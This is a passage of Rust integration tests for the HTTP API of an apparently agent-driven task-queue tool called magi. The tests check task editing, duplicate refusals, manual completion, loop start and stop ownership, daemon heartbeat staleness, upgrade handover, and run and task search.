9632            res.json()["error"]
9633                .as_str()
9634                .is_some_and(|e| e.contains("running")),
9635            "{}",
9636            res.body
9637        );
9638        assert_eq!(
9639            queue.get(&task.id).expect("reload").priority,
9640            0,
9641            "the refused write must not partially apply"
9642        );
9643    }
9644
9645    #[tokio::test]
9646    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9647        let f = Fixture::start().await;
9648        let queue = f.queue();
9649        let mut task = Task::new(
9650            "old title".to_owned(),
9651            "old instruction".to_owned(),
9652            PathBuf::from("/repo/magi"),
9653            Source::Agent {
9654                run: "20260101-000000-beef".to_owned(),
9655                node: "implement".to_owned(),
9656            },
9657        );
9658        task.runs.push("20260101-000000-beef".to_owned());
9659        queue.put(&mut task).expect("file the task");
9660        let created_at = task.created_at;
9661
9662        let edited = f
9663            .post(
9664                &format!("/api/queue/{}/edit", task.id),
9665                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9666            )
9667            .await;
9668        assert_eq!(edited.status, 200, "{}", edited.body);
9669        let body = edited.json();
9670        assert_eq!(body["title"], "new title");
9671        assert_eq!(body["instruction"], "new instruction");
9672        assert_eq!(body["id"], task.id, "editing must not mint a new id");
9673        assert_eq!(body["created_at"], created_at.to_string());
9674        assert_eq!(
9675            body["source"]["kind"], "agent",
9676            "editing a task an agent filed must not turn it human: {body}"
9677        );
9678        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9679
9680        let reloaded = queue.get(&task.id).expect("reload");
9681        assert_eq!(reloaded.title, "new title");
9682        assert_eq!(reloaded.instruction, "new instruction");
9683    }
9684
9685    #[tokio::test]
9686    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9687        let f = Fixture::start().await;
9688        let queue = f.queue();
9689        let mut owner = Task::new(
9690            "owner".to_owned(),
9691            "review it".to_owned(),
9692            PathBuf::from("/repo/magi"),
9693            Source::Human,
9694        );
9695        owner.review_branch = Some("magi/ab12/A".to_owned());
9696        queue.put(&mut owner).expect("file the owner");
9697        let mut task = Task::new(
9698            "draft".to_owned(),
9699            "old".to_owned(),
9700            PathBuf::from("/repo/magi"),
9701            Source::Human,
9702        );
9703        queue.put(&mut task).expect("file the draft");
9704        let url = format!("/api/queue/{}/edit", task.id);
9705
9706        let refused = f
9707            .post(
9708                &url,
9709                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9710            )
9711            .await;
9712        assert_eq!(refused.status, 409, "{}", refused.body);
9713        let msg = refused.json()["error"]
9714            .as_str()
9715            .unwrap_or_default()
9716            .to_owned();
9717        assert!(
9718            msg.contains("magi/ab12/A") && msg.contains("force"),
9719            "{msg}"
9720        );
9721        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9722
9723        let forced = f
9724            .post(
9725                &url,
9726                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9727            )
9728            .await;
9729        assert_eq!(forced.status, 200, "{}", forced.body);
9730    }
9731
9732    #[tokio::test]
9733    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9734        let f = Fixture::start().await;
9735        let queue = f.queue();
9736        let mut task = Task::new(
9737            "in flight".to_owned(),
9738            "do not touch".to_owned(),
9739            PathBuf::from("/repo/magi"),
9740            Source::Human,
9741        );
9742        task.start("20260902-140502-bbbb".to_owned());
9743        queue.put(&mut task).expect("file the task");
9744
9745        let res = f
9746            .post(
9747                &format!("/api/queue/{}/edit", task.id),
9748                Some(r#"{"title":"x","instruction":"y"}"#),
9749            )
9750            .await;
9751        assert_eq!(res.status, 400, "{}", res.body);
9752        assert!(
9753            res.json()["error"]
9754                .as_str()
9755                .is_some_and(|e| e.contains("running")),
9756            "{}",
9757            res.body
9758        );
9759        assert_eq!(
9760            queue.get(&task.id).expect("reload").instruction,
9761            "do not touch",
9762            "the refused edit must not change the file"
9763        );
9764    }
9765
9766    #[tokio::test]
9767    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9768        let f = Fixture::start().await;
9769        let queue = f.queue();
9770        let mut task = Task::new(
9771            "busy".to_owned(),
9772            "Running right now".to_owned(),
9773            PathBuf::from("/repo/magi"),
9774            Source::Human,
9775        );
9776        queue.put(&mut task).expect("file the task");
9777        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9778
9779        let priority = f
9780            .post(
9781                &format!("/api/queue/{}/priority", task.id),
9782                Some(r#"{"priority":9}"#),
9783            )
9784            .await;
9785        assert_eq!(priority.status, 409, "{}", priority.body);
9786
9787        let edit = f
9788            .post(
9789                &format!("/api/queue/{}/edit", task.id),
9790                Some(r#"{"title":"x","instruction":"y"}"#),
9791            )
9792            .await;
9793        assert_eq!(edit.status, 409, "{}", edit.body);
9794    }
9795
9796    #[tokio::test]
9797    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9798        let f = Fixture::start().await;
9799        let queue = f.queue();
9800        let mut task = Task::new(
9801            "shipped by hand".to_owned(),
9802            "merged outside the loop".to_owned(),
9803            PathBuf::from("/repo/magi"),
9804            Source::Agent {
9805                run: "20260101-000000-b455".to_owned(),
9806                node: "implement".to_owned(),
9807            },
9808        );
9809        task.runs.push("20260101-000000-b455".to_owned());
9810        task.runs.push("20260101-000000-9af4".to_owned());
9811        queue.put(&mut task).expect("file the task");
9812        let created_at = task.created_at;
9813
9814        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9815        assert_eq!(done.status, 200, "{}", done.body);
9816        assert_eq!(done.json()["status_str"], "done");
9817
9818        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9819        assert_eq!(
9820            reloaded.runs,
9821            ["20260101-000000-b455", "20260101-000000-9af4"]
9822        );
9823        assert_eq!(
9824            reloaded.source,
9825            Source::Agent {
9826                run: "20260101-000000-b455".to_owned(),
9827                node: "implement".to_owned(),
9828            }
9829        );
9830        assert_eq!(reloaded.created_at, created_at);
9831    }
9832
9833    #[tokio::test]
9834    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9835        // `done` is allowed on any status, including `held`, with no release
9836        // in between - so a task held for a reason and then closed directly
9837        // must not keep reading as "waiting on" it afterwards, on its card or
9838        // in `magi task show`.
9839        let f = Fixture::start().await;
9840        let queue = f.queue();
9841        let mut task = Task::new(
9842            "landed while held".to_owned(),
9843            "x".to_owned(),
9844            PathBuf::from("/repo/magi"),
9845            Source::Human,
9846        );
9847        task.hold_manual(Some("waiting on 3ed9".to_owned()));
9848        queue.put(&mut task).expect("file the held task");
9849
9850        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9851        assert_eq!(done.status, 200, "{}", done.body);
9852        assert_eq!(done.json()["status_str"], "done");
9853        assert!(
9854            done.json()["hold_reason"].is_null(),
9855            "a done task cannot still be waiting on something: {}",
9856            done.body
9857        );
9858    }
9859
9860    #[tokio::test]
9861    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9862        // `queue_done` is the phone's way to close a task the loop never
9863        // settled itself - after confirming a manual GitHub merge, say - and
9864        // that is just as much "this task's story is over" as the loop's own
9865        // `Merged`/`Ready` path, so it must trigger the same cleanup.
9866        let f = Fixture::start().await;
9867        let queue = f.queue();
9868        let runs = f.runs();
9869        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9870        // The last attempt has to have actually landed for the earlier one
9871        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
9872        // for the case where it didn't.
9873        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9874
9875        let mut task = Task::new(
9876            "landed by hand".to_owned(),
9877            "x".to_owned(),
9878            PathBuf::from("/repo/magi"),
9879            Source::Human,
9880        );
9881        task.runs.push("20260101-000000-doa1".to_owned());
9882        task.runs.push("20260101-000000-doa2".to_owned());
9883        queue.put(&mut task).expect("file the task");
9884
9885        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9886        assert_eq!(done.status, 200, "{}", done.body);
9887
9888        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9889            .expect("run still on disk under this fixture's own home");
9890        assert_eq!(
9891            reloaded_run.status,
9892            RunStatus::Superseded,
9893            "closing the task by hand must relabel the earlier blocked attempt exactly \
9894             like the loop's own settle path does"
9895        );
9896    }
9897
9898    #[tokio::test]
9899    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9900        // Closing a task by hand is allowed from any status, including one
9901        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
9902        // manual merge the loop never watched, say. Nothing here is provably
9903        // why the task is done, so nothing earlier gets relabelled either.
9904        let f = Fixture::start().await;
9905        let queue = f.queue();
9906        let runs = f.runs();
9907        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9908        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9909
9910        let mut task = Task::new(
9911            "closed with nothing actually landed".to_owned(),
9912            "x".to_owned(),
9913            PathBuf::from("/repo/magi"),
9914            Source::Human,
9915        );
9916        task.runs.push("20260101-000000-dob1".to_owned());
9917        task.runs.push("20260101-000000-dob2".to_owned());
9918        queue.put(&mut task).expect("file the task");
9919
9920        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9921        assert_eq!(done.status, 200, "{}", done.body);
9922
9923        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9924            .expect("run still on disk under this fixture's own home");
9925        assert_eq!(
9926            reloaded_run.status,
9927            RunStatus::Blocked,
9928            "the last recorded attempt never landed, so the earlier one must not be \
9929             relabelled as superseded by it"
9930        );
9931    }
9932
9933    #[tokio::test]
9934    async fn unknown_ids_are_json_not_found_on_both_stores() {
9935        let f = Fixture::start().await;
9936
9937        let run = f.get("/api/runs/nosuchrun").await;
9938        let task = f.post("/api/queue/nosuchtask/hold", None).await;
9939
9940        assert_eq!(run.status, 404);
9941        assert_eq!(task.status, 404);
9942        assert!(
9943            run.json()["error"]
9944                .as_str()
9945                .is_some_and(|e| e.contains("run")),
9946            "the error names what was not found: {}",
9947            run.body
9948        );
9949        assert!(
9950            task.json()["error"]
9951                .as_str()
9952                .is_some_and(|e| e.contains("task")),
9953            "the error names what was not found: {}",
9954            task.body
9955        );
9956    }
9957
9958    #[tokio::test]
9959    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9960        let f = Fixture::start().await;
9961
9962        let missing = f.get("/api/health").await.json();
9963        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9964
9965        write_daemon(
9966            f.home.path(),
9967            Timestamp::now() - jiff::SignedDuration::from_secs(60),
9968        );
9969        let stale = f.get("/api/health").await.json();
9970        assert_eq!(
9971            stale["daemon"]["running"], false,
9972            "a minute without a heartbeat is a dead daemon, not a busy one"
9973        );
9974        assert!(
9975            stale["daemon"]["stale_for_secs"]
9976                .as_i64()
9977                .is_some_and(|s| s >= 55),
9978            "staleness is reported so the UI can say how long: {stale}"
9979        );
9980
9981        write_daemon(f.home.path(), Timestamp::now());
9982        let fresh = f.get("/api/health").await.json();
9983        assert_eq!(fresh["daemon"]["running"], true);
9984        assert_eq!(fresh["daemon"]["idle"], false);
9985        assert_eq!(fresh["daemon"]["pid"], 4242);
9986        assert_eq!(fresh["daemon"]["completed"], 7);
9987        assert_eq!(
9988            fresh["daemon"]["current"][0]["task"],
9989            "20260902-140501-aaaa"
9990        );
9991        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9992    }
9993
9994    #[tokio::test]
9995    async fn the_loop_is_not_running_until_something_starts_it() {
9996        let f = Fixture::start().await;
9997
9998        let view = f.get("/api/loop").await.json();
9999        assert_eq!(view["running"], false);
10000        assert_eq!(
10001            view["owned"], false,
10002            "nobody owns a loop that does not exist: {view}"
10003        );
10004        assert_eq!(view["stopping"], false);
10005        assert_eq!(view["last_error"], Value::Null);
10006        assert_eq!(view["daemon"]["running"], false);
10007        assert_eq!(
10008            view["repo"], "/repo/magi",
10009            "the repository a start would use, named before it is started"
10010        );
10011    }
10012
10013    #[tokio::test]
10014    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10015        let f = Fixture::start().await;
10016
10017        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10018        assert_eq!(res.status, 200, "{}", res.body);
10019        let view = res.json();
10020        assert_eq!(view["running"], true);
10021        assert_eq!(
10022            view["owned"], true,
10023            "the loop the UI started is the UI's own to stop: {view}"
10024        );
10025        assert_eq!(
10026            view["merge"],
10027            Value::Null,
10028            "no override was given, so each repository's own config decides"
10029        );
10030
10031        // The same object from the route a waking phone polls first. Two
10032        // surfaces disagreeing about whether anything is running is exactly
10033        // the confusion this UI exists to remove.
10034        let health = f.get("/api/health").await.json();
10035        assert_eq!(health["loop"]["running"], true, "{health}");
10036        assert_eq!(health["loop"]["owned"], true, "{health}");
10037
10038        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10039    }
10040
10041    #[tokio::test]
10042    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10043        let f = Fixture::start().await;
10044        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10045        assert_eq!(first.status, 200, "{}", first.body);
10046
10047        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10048        assert_eq!(
10049            again.status, 409,
10050            "two loops on one queue race for the same claims: {}",
10051            again.body
10052        );
10053        assert!(
10054            again.json()["error"]
10055                .as_str()
10056                .is_some_and(|e| e.contains("already running the loop")),
10057            "the refusal has to say why: {}",
10058            again.body
10059        );
10060        assert_eq!(
10061            f.get("/api/loop").await.json()["running"],
10062            true,
10063            "and the loop that was already running is untouched by it"
10064        );
10065
10066        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10067    }
10068
10069    #[tokio::test]
10070    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10071        let f = Fixture::start().await;
10072        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10073
10074        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10075        assert_eq!(
10076            res.status, 200,
10077            "the answer must not wait for the loop: a run in flight is tens of \
10078             minutes and the operator is holding a phone: {}",
10079            res.body
10080        );
10081
10082        let view = settled(&f, |v| v["running"] == false).await;
10083        assert_eq!(view["owned"], false);
10084        assert_eq!(
10085            view["stopping"], false,
10086            "a loop that has stopped is not still stopping: {view}"
10087        );
10088        assert_eq!(
10089            view["last_error"],
10090            Value::Null,
10091            "a loop that was asked to stop did not fail: {view}"
10092        );
10093
10094        // Idempotent, because the operator cannot tell a slow stop from a lost
10095        // one and will press it again.
10096        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10097        assert_eq!(twice.status, 200, "{}", twice.body);
10098    }
10099
10100    #[tokio::test]
10101    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10102        let f = Fixture::start().await;
10103        // How the operator has been doing it: a `magi serve` of their own,
10104        // heartbeat fresh, in the same home this UI reads.
10105        write_daemon(f.home.path(), Timestamp::now());
10106
10107        let view = f.get("/api/loop").await.json();
10108        assert_eq!(view["running"], false, "not in this process: {view}");
10109        assert_eq!(view["owned"], false, "and not this process's to control");
10110        assert_eq!(
10111            view["daemon"]["running"], true,
10112            "but a loop is alive somewhere, which is what the UI must say"
10113        );
10114        assert_eq!(view["daemon"]["pid"], 4242);
10115
10116        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10117            let res = f.post("/api/loop", Some(body)).await;
10118            assert_eq!(
10119                res.status, 409,
10120                "neither button may pretend to work on someone else's loop: {}",
10121                res.body
10122            );
10123            assert!(
10124                res.json()["error"]
10125                    .as_str()
10126                    .is_some_and(|e| e.contains("4242")),
10127                "the refusal has to name the process the operator must go to: {}",
10128                res.body
10129            );
10130        }
10131        assert_eq!(
10132            f.get("/api/loop").await.json()["running"],
10133            false,
10134            "and the refusal started nothing"
10135        );
10136    }
10137
10138    #[tokio::test]
10139    async fn a_stale_status_file_is_not_a_foreign_owner() {
10140        let f = Fixture::start().await;
10141        write_daemon(
10142            f.home.path(),
10143            Timestamp::now() - jiff::SignedDuration::from_secs(60),
10144        );
10145
10146        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10147        assert_eq!(
10148            res.status, 200,
10149            "a daemon killed a minute ago must not lock the loop out of its \
10150             own home for good: {}",
10151            res.body
10152        );
10153        assert_eq!(res.json()["running"], true);
10154
10155        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10156    }
10157
10158    #[tokio::test]
10159    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10160        let f = Fixture::start().await;
10161        let before = f.get("/api/health").await.json()["loop_rev"]
10162            .as_u64()
10163            .expect("a loop revision");
10164
10165        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10166
10167        let after = f.get("/api/health").await.json()["loop_rev"]
10168            .as_u64()
10169            .expect("a loop revision");
10170        assert!(
10171            after > before,
10172            "the loop is in-process state, so this counter is the only thing \
10173             that tells a second device the first one started it: {before} -> \
10174             {after}"
10175        );
10176
10177        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10178    }
10179
10180    #[tokio::test]
10181    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10182        let f = Fixture::with_loop(launch_broken).await;
10183
10184        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10185        assert_eq!(
10186            res.status, 200,
10187            "starting it is not the failure: {}",
10188            res.body
10189        );
10190
10191        let view = settled(&f, |v| v["last_error"].is_string()).await;
10192        assert_eq!(
10193            view["running"], false,
10194            "a loop that died must not read as running, or the operator has \
10195             nothing to press: {view}"
10196        );
10197        assert_eq!(view["owned"], false);
10198        assert!(
10199            view["last_error"]
10200                .as_str()
10201                .is_some_and(|e| e.contains("read-only file system")),
10202            "the phone is where a loop that died at 3am is visible: {view}"
10203        );
10204
10205        // And it can be started again: the corpse was reaped, not left to
10206        // occupy the slot.
10207        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10208        assert_eq!(again.status, 200, "{}", again.body);
10209        assert_eq!(
10210            again.json()["last_error"],
10211            Value::Null,
10212            "a fresh start does not keep showing why the last one died"
10213        );
10214    }
10215
10216    /// An upgrade parks the run in flight before it restarts, and a park waits
10217    /// for the node - up to `timeout_implement`, an hour by default. The deck
10218    /// has to answer for all of it: the operator has just been told a run is
10219    /// finishing first, and this address is the only place that says how it is
10220    /// going. It did not, once - the listener went with the `select!` arm that
10221    /// began the handover, and the phone got `Cannot reach magi: Failed to
10222    /// fetch` for the rest of the wave.
10223    ///
10224    /// The other half is the older rule: the address must be free *before* the
10225    /// successor is started, or it dies on "address already in use" with its
10226    /// stdio sent to null and the deck never comes back.
10227    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10228    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10229        let home = TempDir::new().expect("temp home");
10230        let runs = home.path().join("runs");
10231        std::fs::create_dir_all(&runs).expect("runs dir");
10232        let ui = Ui::new(
10233            Queue::at(home.path().join("queue")),
10234            Questions::at(home.path().join("questions")),
10235            Talks::at(home.path().join("talks")),
10236            runs,
10237            home.path().to_path_buf(),
10238            PathBuf::from("/repo/magi"),
10239        )
10240        .with_worktrees_root(home.path().join("wt"))
10241        .with_launch(launch_knocking_on_the_way_out);
10242        let looping = ui.looping();
10243        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10244            .await
10245            .expect("bind loopback");
10246        let addr = listener.local_addr().expect("local addr");
10247        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10248        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10249
10250        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10251        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10252
10253        // The successor's whole job, and the one thing it cannot do while this
10254        // process still holds the socket.
10255        //
10256        // One bind is not enough, and the reason is not this process's order of
10257        // operations: aborting the accept loop drops the listener, but axum
10258        // serves each accepted connection on a task of its own, and those are
10259        // not aborted. The requests above left sockets on this very address,
10260        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
10261        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
10262        // Production absorbs that in `bind_waiting`; so does this. Only
10263        // `AddrInUse` is retried, and the listener is released before the
10264        // closure returns - were the order wrong, the listener would outlive
10265        // the closure and every attempt would fail. Inferred from the bind
10266        // rules and the code; not reproduced on macOS.
10267        let bound = std::sync::Mutex::new(None);
10268        hand_over(home.path(), &looping, served, |_| {
10269            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10270            let attempt = loop {
10271                match std::net::TcpListener::bind(addr) {
10272                    Ok(l) => {
10273                        drop(l);
10274                        break Ok(());
10275                    }
10276                    Err(e)
10277                        if e.kind() == std::io::ErrorKind::AddrInUse
10278                            && std::time::Instant::now() < deadline =>
10279                    {
10280                        std::thread::sleep(std::time::Duration::from_millis(10));
10281                    }
10282                    Err(e) => break Err(e.to_string()),
10283                }
10284            };
10285            *bound.lock().expect("bound") = Some(attempt);
10286            Ok(1)
10287        })
10288        .await
10289        .expect("hand over");
10290
10291        assert_eq!(
10292            *PARK_HEARD.lock().expect("park heard"),
10293            Some(200),
10294            "the deck must answer while the loop is parking"
10295        );
10296        let attempt = bound
10297            .lock()
10298            .expect("bound")
10299            .take()
10300            .expect("the successor was started");
10301        assert!(
10302            attempt.is_ok(),
10303            "and the address must be free by the time it is: {attempt:?}"
10304        );
10305    }
10306
10307    #[tokio::test]
10308    async fn a_newer_daemon_status_file_still_renders() {
10309        let f = Fixture::start().await;
10310        // A field this build has never heard of must not turn the status line
10311        // into a 500; that is the whole reason the reader is permissive.
10312        std::fs::write(
10313            f.home.path().join("daemon.json"),
10314            serde_json::json!({
10315                "schema": 2,
10316                "updated_at": Timestamp::now().to_string(),
10317                "idle": true,
10318                "surprise": { "nested": [1, 2, 3] },
10319            })
10320            .to_string(),
10321        )
10322        .expect("write daemon.json");
10323
10324        let health = f.get("/api/health").await;
10325
10326        assert_eq!(health.status, 200);
10327        assert_eq!(health.json()["daemon"]["running"], true);
10328    }
10329
10330    #[tokio::test]
10331    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10332        let f = Fixture::start().await;
10333        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10334        let broken = f.runs().join("20260902-140502-bad");
10335        std::fs::create_dir_all(&broken).expect("run dir");
10336        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10337
10338        let list = f.get("/api/runs").await;
10339        let detail = f.get("/api/runs/20260902-140502-bad").await;
10340
10341        assert_eq!(list.status, 200);
10342        let listed = list.json();
10343        let ids: Vec<&str> = listed
10344            .as_array()
10345            .expect("an array")
10346            .iter()
10347            .map(|r| r["id"].as_str().expect("an id"))
10348            .collect();
10349        assert_eq!(
10350            ids,
10351            vec!["20260902-140501-good"],
10352            "one unreadable run must not cost the operator the whole history"
10353        );
10354        assert_eq!(detail.status, 500);
10355        assert!(
10356            detail.json()["error"]
10357                .as_str()
10358                .is_some_and(|e| e.contains("run.json")),
10359            "the failure names the file to look at: {}",
10360            detail.body
10361        );
10362        // A skipped run has to be countable somewhere, or the UI shows an
10363        // empty history with nothing to explain it - which is exactly what a
10364        // directory full of older-schema runs looks like.
10365        let health = f.get("/api/health").await;
10366        assert_eq!(health.json()["runs_unreadable"], 1);
10367    }
10368
10369    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
10370    #[tokio::test]
10371    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10372        let f = Fixture::start().await;
10373        let runs = f.runs();
10374        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10375        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10376        // Text three levels down, in a shape no current RunState has: an older
10377        // schema must still search.
10378        let path = runs.join("20260902-140502-bbbb").join("run.json");
10379        let mut v: serde_json::Value =
10380            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10381        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10382        std::fs::write(&path, v.to_string()).unwrap();
10383        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10384        std::fs::write(
10385            runs.join("20260902-140503-cccc").join("run.json"),
10386            "{ not json",
10387        )
10388        .unwrap();
10389
10390        let res = f.get("/api/search?scope=runs&q=quokka").await;
10391        assert_eq!(res.status, 200, "{}", res.body);
10392        let v = res.json();
10393        assert_eq!(v["total"], 1, "{v}");
10394        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10395        assert_eq!(v["hits"][0]["field"], "text");
10396        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10397        let parts = v["hits"][0]["snippet"].as_array().unwrap();
10398        assert!(
10399            parts
10400                .iter()
10401                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10402            "{v}"
10403        );
10404        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10405        assert_eq!(
10406            flat, "The Quokka leaks across threads",
10407            "whitespace is collapsed"
10408        );
10409
10410        // Terms are ANDed, across different fields, case-insensitively.
10411        let both = f
10412            .get("/api/search?scope=runs&q=MOBILE%20quokka")
10413            .await
10414            .json();
10415        assert_eq!(both["total"], 1, "{both}");
10416        let neither = f
10417            .get("/api/search?scope=runs&q=quokka%20zebra")
10418            .await
10419            .json();
10420        assert_eq!(neither["total"], 0, "{neither}");
10421        // Everything in the task statement is reachable, not only the row text.
10422        let stmt = f
10423            .get("/api/search?scope=runs&q=mobile%20first")
10424            .await
10425            .json();
10426        assert_eq!(stmt["total"], 2, "{stmt}");
10427        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10428        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10429    }
10430
10431    #[test]
10432    fn snippet_ignores_terms_longer_than_the_field() {
10433        let terms = ["ok".to_owned(), "elephant".to_owned()];
10434        let parts = snippet_of("ok", &terms);
10435        assert_eq!(
10436            parts,
10437            vec![SnippetPart {
10438                text: "ok".to_owned(),
10439                hit: true
10440            }]
10441        );
10442    }
10443
10444    #[test]
10445    fn snippet_marks_matches_longer_than_the_window() {
10446        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10447        let hit_len = |parts: &[SnippetPart]| -> usize {
10448            parts
10449                .iter()
10450                .filter(|p| p.hit)
10451                .map(|p| p.text.chars().count())
10452                .sum()
10453        };
10454        let total =
10455            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10456
10457        let long = "a".repeat(120);
10458        let parts = snippet_of(&long, std::slice::from_ref(&long));
10459        assert!(hit_len(&parts) > 0, "{parts:?}");
10460        assert!(total(&parts) <= cap);
10461
10462        let ja = "あ".repeat(130);
10463        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10464        assert!(hit_len(&parts) > 0, "{parts:?}");
10465        assert!(total(&parts) <= cap);
10466
10467        // A short hit, then one straddling the window's end.
10468        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10469        let term = format!("ab{}", "c".repeat(100));
10470        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10471        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10472        assert!(total(&parts) <= cap);
10473
10474        // Only the head matches: not highlighted.
10475        let text = format!("{}z", "a".repeat(119));
10476        let parts = snippet_of(&text, &["a".repeat(120)]);
10477        assert_eq!(hit_len(&parts), 0, "{parts:?}");
10478    }
10479
10480    #[tokio::test]
10481    async fn search_caps_hits_and_snippet_length() {
10482        let f = Fixture::start().await;
10483        let runs = f.runs();
10484        for n in 0..(SEARCH_MAX_HITS + 5) {
10485            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10486        }
10487        let v = f.get("/api/search?scope=runs&q=web").await.json();
10488        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10489        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10490        assert_eq!(v["truncated"], true);
10491        // Every listed run hit carries its list row for the page's filters.
10492        assert!(
10493            v["hits"]
10494                .as_array()
10495                .unwrap()
10496                .iter()
10497                .all(|h| h["run"]["status"] == "merged")
10498        );
10499
10500        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10501        let parts = snippet_of(&long, &["needle".to_owned()]);
10502        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10503        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10504        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10505    }
10506
10507    #[tokio::test]
10508    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10509        let f = Fixture::start().await;
10510        let queue = f.queue();
10511        let mut t = Task::new(
10512            "short title".to_owned(),
10513            "line one\nthe hidden Armadillo detail".to_owned(),
10514            PathBuf::from("/repo/magi"),
10515            Source::Agent {
10516                run: "r1".to_owned(),
10517                node: "chat".to_owned(),
10518            },
10519        );
10520        t.last_error = Some("disk full on /tmp".to_owned());
10521        queue.put(&mut t).expect("file the task");
10522
10523        for (q, want) in [
10524            ("armadillo", 1),
10525            ("disk%20FULL", 1),
10526            ("chat", 1),
10527            ("queued", 1),
10528            ("short%20nothing", 0),
10529        ] {
10530            let v = f
10531                .get(&format!("/api/search?scope=tasks&q={q}"))
10532                .await
10533                .json();
10534            assert_eq!(v["total"], want, "{q}: {v}");
10535        }
10536        for bad in [
10537            "/api/search?scope=tasks&q=",
10538            "/api/search?scope=tasks&q=%20",
10539            "/api/search?scope=chats&q=",
10540            "/api/search?scope=chats&q=%20",
10541            "/api/search?scope=nope&q=a",
10542            "/api/search?q=a",
10543        ] {
